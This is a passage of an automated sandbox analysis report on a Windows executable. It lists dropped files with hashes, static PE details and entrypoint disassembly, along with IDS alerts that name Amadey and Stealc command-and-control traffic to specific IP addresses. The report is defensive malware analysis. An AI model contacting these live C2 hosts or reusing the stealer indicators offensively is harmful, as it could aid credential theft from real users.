Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3782)
Category:	dropped
Size (bytes):	107677
Entropy (8bit):	5.396220758526552
Encrypted:	false
SSDEEP:	1536:7nwyvB1qCo7mWUgsUopF5Xy4FlAwxdhvHcrdncqAKxwjBnKwIDQgrOChkPIgmrCp:wh6gstXy4FM5ncJKxCnKWgrd0v
MD5:	E8015AC436B33034EDF7DA060E853A04
SHA1:	62D0F6EB0E441158A1F56F6E0C70D3D229B57886
SHA-256:	23C953E989FF4AF6126D4A3B2AD21B33A82512FC8768045C00F05940DE2C9978
SHA-512:	C35AC8692FC22B78365CA202E173A90AE4B5DBA338B7FC9EEB17EDDF5868B52CF1D13DC0EDAF36BE1CC0E0152F41AC4027C51D7ECA27778B483E3FC83F11EA82
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function k(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir8860_67719516\89151cfb-9547-4e41-9541-19a8c46bccc5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir8860_67719516\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir8860_67719516\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir8860_67719516\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir8860_67719516\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsDAFBGHCAKK.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1852416
Entropy (8bit):	7.950125708157028
Encrypted:	false
SSDEEP:	24576:LfuAgZXWbHZptuQiY0ZjPz/WdYAN1HXLv66J+KdHCf6ILND/KGgJ1sfp1e2hiyM:LfuVXiu00Pz9AHD66JnIL9KyM
MD5:	045A3A09458A21A8B3B2D3011D1E02D4
SHA1:	00642E3D2A067CD64089279E8A4E7DB9DCD9F8B6
SHA-256:	4D10C9B2408BA1F4CD2D3A776808A35528164E2963F497C4C06725AC840EA611
SHA-512:	DC527087F0D7642E6DF34E00D46004CF160288029C3A241F15FB163DB4356DFE6A0D2E4A7B95B09DE13B89D6BB8A8D0D87329CEB5847878920FF87AFB34EF117
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................I...........@...........................I...........@.................................W...k.......D...................4.I..............................I..................................................... . ............................@....rsrc...D...........................@....idata ............................@... ..).........................@...gpnqxgzn.0...p0..(..................@...dyrruobh......I.....................@....taggant.0....I.."..."..............@...................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsDAFBGHCAKK.exe
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	3.4475180170724604
Encrypted:	false
SSDEEP:	6:5ZNXUhXUEZ+lX1CGdKUe6tE9+AQy0lBuQt0:5Z54Q1CGAFD9+nVBuQt0
MD5:	980D3E50F64550F98FCDFAC2658D0D88
SHA1:	C224ECEB153994CA78039C8137FB2D4E58841655
SHA-256:	E3B7319B42095D0D5539EACEF289F2245F25AD79C54A02FE3B11A1735BBB4522
SHA-512:	D44615E695A59A0D7BF33AB8533BBF8902D172D986493E439E57ED9C19E60AAE666B27C4EE290CF93653B8DB8A0F897EC2B447A16A03F210987D956022A464EE
Malicious:	false
Preview:	....n.&...K..@..b..F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0...................@3P.........................

Chrome Cache Entry: 530

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (824)
Category:	downloaded
Size (bytes):	829
Entropy (8bit):	5.1588151189782
Encrypted:	false
SSDEEP:	24:R1DNXLfOHwvBHslgT9lCuABuoB7HHHHHHHYqmffffffo:RTXjOQvKlgZ01BuSEqmffffffo
MD5:	8BBB7046B84A1EE02FB421FD9BAC115A
SHA1:	58F185B1C0410B561483454A6E913D463C7047C0
SHA-256:	CFE469A4BCEDA983276A2212F920EC6B5DE359A8E218B2A383B1407704D91A8D
SHA-512:	623122346579CF1660294FD3D5BAB5356892AB6FF8A415370D9485026A71332AACDCEBB8DE6FD995F1092806A33A9ECEDCE4F35A8668F2489C55EE5CC1E4D484
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["pokemon go max out finale collection","arizona roller coasters","maple syrup cardiometabolic benefits","seattle seahawks news","thanksgiving weather forecast snow storm","aurora borealis northern lights forecast","spotify wrapped 2024","humpback whale brooklyn bridge"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.945182734595749
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'838'080 bytes
MD5:	8a35d216bea1e5026d155b7d7287279b
SHA1:	8aafef6136b82a80af5f12f7eede430903aaf164
SHA256:	7b18dc76835a241692cc37953518aa972560de1ecf1fca56580739772cd4b24f
SHA512:	bc388b9560510fcaa467cf52023a7adf09c7c968dd8c6ca01458468b62449e0d4d6d13aff9fddca617668eb9c4435358e41c25be9b88090b0af62c54168f5585
SSDEEP:	24576:Cr2lts+XTb3CrAGpuYYmGC//0o/PW/uqNlFxEMyKjbRExL1jDede+ri1QbTxUJy3:mGN3CAGf3f/bO/VFxByO+DjR9KdF
TLSH:	83853337695722B3FF7D61B09725900EAFAA0100156D7EFA6BC680BD1A07B076FC5B60
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xaa8000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FB4251ADD4Ah
pminsw mm3, qword ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and dword ptr [eax], eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or byte ptr [eax+00000000h], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	dd19348980bcb98d2c220793995574ef	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x2b0	0x200	3bf8aac14e3e93e2079fdf1ca9f69adc	False	0.796875	data	6.05219451868603	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x2b4000	0x200	fb4952d31b65290b17ea0e0dc8b9f572	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
zffwgsyd	0x500000	0x1a7000	0x1a6e00	050ab643f8f31306c44f78838a0fb6cb	False	0.9949662143437777	data	7.953880303053729	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
uvgewzbl	0x6a7000	0x1000	0x400	8afcc5f4d57ca748e248199f041b770a	False	0.70703125	data	5.753755071557372	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x6a8000	0x3000	0x2200	b767955063126b67c5b123f78c3b0cbf	False	0.061810661764705885	DOS executable (COM)	0.7943331667948786	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x6a6ba0	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-28T00:19:02.658454+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.6	49942	TCP
2024-11-28T00:19:16.046160+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49714	185.215.113.206	80	TCP
2024-11-28T00:19:16.500674+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.6	49714	185.215.113.206	80	TCP
2024-11-28T00:19:16.794751+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.6	49714	TCP
2024-11-28T00:19:17.124336+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.6	49714	185.215.113.206	80	TCP
2024-11-28T00:19:17.258391+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.6	49714	TCP
2024-11-28T00:19:18.616120+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.6	49714	185.215.113.206	80	TCP
2024-11-28T00:19:19.384109+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49714	185.215.113.206	80	TCP
2024-11-28T00:19:41.372361+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49794	185.215.113.206	80	TCP
2024-11-28T00:19:43.494783+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49794	185.215.113.206	80	TCP
2024-11-28T00:19:44.989952+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49794	185.215.113.206	80	TCP
2024-11-28T00:19:46.156153+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49794	185.215.113.206	80	TCP
2024-11-28T00:19:50.024333+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49794	185.215.113.206	80	TCP
2024-11-28T00:19:51.128137+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49794	185.215.113.206	80	TCP
2024-11-28T00:19:56.783284+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49921	185.215.113.16	80	TCP
2024-11-28T00:21:05.179861+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.6	49941	185.215.113.43	80	TCP
2024-11-28T00:21:09.806205+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49943	31.41.244.11	80	TCP

Network Port Distribution

